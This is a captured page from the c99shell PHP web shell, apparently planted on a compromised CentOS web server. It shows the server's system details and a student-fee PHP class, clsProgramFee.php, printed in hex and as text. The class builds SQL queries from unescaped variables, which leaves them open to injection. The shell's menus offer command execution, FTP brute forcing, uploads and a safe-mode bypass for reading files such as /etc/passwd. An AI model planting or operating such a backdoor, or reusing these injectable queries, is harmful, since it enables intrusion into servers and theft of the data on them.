!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/class/   drwxr-xr-x
Free 52.37 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsProgramFee.php (1.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage_22222/class/clsProgramFee.php
Size 1.22 KB
MD5 d3110dc95a0645d532a37644acd2bebb
Owner/Group root/root
Perms-rw-r--r--
Create time 06/07/2011 01:44:08
Access time 30/07/2024 17:12:13
MODIFY time 21/08/2009 09:42:07

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
3C 3F 70 68 70 0A 2F 2F 2D 2D 43 6C 61 73 73 20 50 72 6F 67 72 61 6D 46
65 65 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 0A 0A 69 6E 63 6C 75 64 65 5F 6F 6E 63 65 20 22 63 6C 73 62
61 73 65 5F 50 72 6F 67 72 61 6D 46 65 65 2E 70 68 70 22 3B 0A 0A 63 6C
61 73 73 20 50 72 6F 67 72 61 6D 46 65 65 20 65 78 74 65 6E 64 73 20 62
61 73 65 5F 50 72 6F 67 72 61 6D 46 65 65 7B 0A 0A 66 75 6E 63 74 69 6F
6E 20 47 65 74 53 75 6D 41 6D 6F 75 6E 74 42 79 53 74 49 64 41 6E 64 41
63 59 41 6E 64 53 65 28 24 78 4B 65 79 2C 20 24 79 4B 65 79 2C 20 24 7A
4B 65 79 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22
73 65 6C 65 63 74 20 73 75 6D 28 61 6D 6F 75 6E 74 29 20 61 73 20 6E 75
6D 20 66 72 6F 6D 20 50 72 6F 67 72 61 6D 46 65 65 20 77 68 65 72 65 20
73 74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 61 63
61 64 59 65 61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65 6D 65 73
74 65 72 3D 27 24 7A 4B 65 79 27 22 29 3B 0A 09 69 66 20 28 24 72 65 73
75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29 20
7B 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27
5D 3B 0A 09 7D 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 52 53 50 72 6F 67
72 61 6D 46 65 65 42 79 53 74 49 64 41 6E 64 41 63 59 41 6E 64 53 65 28
24 78 4B 65 79 2C 20 24 79 4B 65 79 2C 20 24 7A 4B 65 79 29 7B 0A 09 24
74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A
20 66 72 6F 6D 20 50 72 6F 67 72 61 6D 46 65 65 20 77 68 65 72 65 20 73
74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 61 63 61
64 59 65 61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65 6D 65 73 74
65 72 3D 27 24 7A 4B 65 79 27 22 29 3B 0A 7D 0A 0A 66 75 6E 63 74 69 6F
6E 20 47 65 74 53 75 6D 41 6D 6F 75 6E 74 42 79 53 74 49 64 41 6E 64 41
63 59 41 6E 64 53 65 41 6E 64 4F 75 74 42 75 64 67 65 74 49 73 59 28 24
78 4B 65 79 2C 20 24 79 4B 65 79 2C 20 24 7A 4B 65 79 29 7B 0A 09 24 74
68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 73 75
6D 28 61 6D 6F 75 6E 74 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 50 72
6F 67 72 61 6D 46 65 65 2C 20 46 65 65 20 77 68 65 72 65 20 73 74 75 64
65 6E 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 61 63 61 64 59 65
61 72 3D 27 24 79 4B 65 79 27 20 61 6E 64 20 73 65 6D 65 73 74 65 72 3D
27 24 7A 4B 65 79 27 20 61 6E 64 20 50 72 6F 67 72 61 6D 46 65 65 2E 66
65 65 49 64 3D 46 65 65 2E 66 65 65 49 64 20 61 6E 64 20 6F 75 74 42 75
64 67 65 74 3D 27 59 27 22 29 3B 0A 09 69 66 20 28 24 72 65 73 75 6C 74
3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29 20 7B 0A 09
09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D 3B 0A
09 7D 0A 7D 0A 0A 66 75 6E 63 74 69 6F 6E 20 47 65 74 53 75 6D 41 6D 6F
75 6E 74 42 79 53 74 49 64 41 6E 64 41 63 59 41 6E 64 53 65 41 6E 64 4F
75 74 42 75 64 67 65 74 49 73 4E 28 24 78 4B 65 79 2C 20 24 79 4B 65 79
2C 20 24 7A 4B 65 79 29 7B 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65
72 79 28 22 73 65 6C 65 63 74 20 73 75 6D 28 61 6D 6F 75 6E 74 29 20 61
73 20 6E 75 6D 20 66 72 6F 6D 20 50 72 6F 67 72 61 6D 46 65 65 2C 20 46
65 65 20 77 68 65 72 65 20 73 74 75 64 65 6E 74 49 64 3D 27 24 78 4B 65
79 27 20 61 6E 64 20 61 63 61 64 59 65 61 72 3D 27 24 79 4B 65 79 27 20
61 6E 64 20 73 65 6D 65 73 74 65 72 3D 27 24 7A 4B 65 79 27 20 61 6E 64
20 50 72 6F 67 72 61 6D 46 65 65 2E 66 65 65 49 64 3D 46 65 65 2E 66 65
65 49 64 20 61 6E 64 20 6F 75 74 42 75 64 67 65 74 3D 27 4E 27 22 29 3B
0A 09 69 66 20 28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74
52 65 73 75 6C 74 28 29 29 20 7B 0A 09 09 72 65 74 75 72 6E 20 24 72 65
73 75 6C 74 5B 27 6E 75 6D 27 5D 3B 0A 09 7D 0A 7D 0A 0A 7D 20 2F 2F 2D
2D 45 6E 64 20 63 6C 61 73 73 20 50 72 6F 67 72 61 6D 46 65 65 2D 2D 0A
3F 3E 0A
<?php //--Class ProgramF
ee----------------------
----  include_once "clsb
ase_ProgramFee.php";  cl
ass ProgramFee extends b
ase_ProgramFee{  functio
n GetSumAmountByStIdAndA
cYAndSe($xKey, $yKey, $z
Key){  $this->SetQuery("
select sum(amount) as nu
m from ProgramFee where 
studentId='$xKey' and ac
adYear='$yKey' and semes
ter='$zKey'");  if ($res
ult=$this->GetResult()) 
{  return $result['num'
];  } }  function RSProg
ramFeeByStIdAndAcYAndSe(
$xKey, $yKey, $zKey){  $
this->SetQuery("select *
 from ProgramFee where s
tudentId='$xKey' and aca
dYear='$yKey' and semest
er='$zKey'"); }  functio
n GetSumAmountByStIdAndA
cYAndSeAndOutBudgetIsY($
xKey, $yKey, $zKey){  $t
his->SetQuery("select su
m(amount) as num from Pr
ogramFee, Fee where stud
entId='$xKey' and acadYe
ar='$yKey' and semester=
'$zKey' and ProgramFee.f
eeId=Fee.feeId and outBu
dget='Y'");  if ($result
=$this->GetResult()) { 
return $result['num']; 
} }  function GetSumAmo
untByStIdAndAcYAndSeAndO
utBudgetIsN($xKey, $yKey
, $zKey){  $this->SetQue
ry("select sum(amount) a
s num from ProgramFee, F
ee where studentId='$xKe
y' and acadYear='$yKey' 
and semester='$zKey' and
 ProgramFee.feeId=Fee.fe
eId and outBudget='N'");
  if ($result=$this->Get
Result()) {  return $re
sult['num'];  } }  } //-
-End class ProgramFee-- 
?> 

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0115 ]--